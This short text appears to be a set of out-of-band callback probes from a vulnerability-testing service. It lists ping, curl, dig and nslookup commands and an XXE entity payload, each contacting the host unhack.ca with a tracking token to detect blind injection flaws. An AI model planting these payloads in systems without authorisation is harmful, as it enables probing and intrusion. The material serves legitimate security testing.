$ ping -c1 -p 003d076cdfff92d25e9b75b85eb43300 unhack.ca
$ curl http://unhack.ca/p/3d076cdfff92d25e9b75b85eb433
$ dig 3d076cdfff92d25e9b75b85eb433 @unhack.ca
$ dig 3d076cdfff92d25e9b75b85eb433.ns.unhack.ca
C:\> nslookup 3d076cdfff92d25e9b75b85eb433 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/3d076cdfff92d25e9b75b85eb433">]> <foo>&xxe;</foo>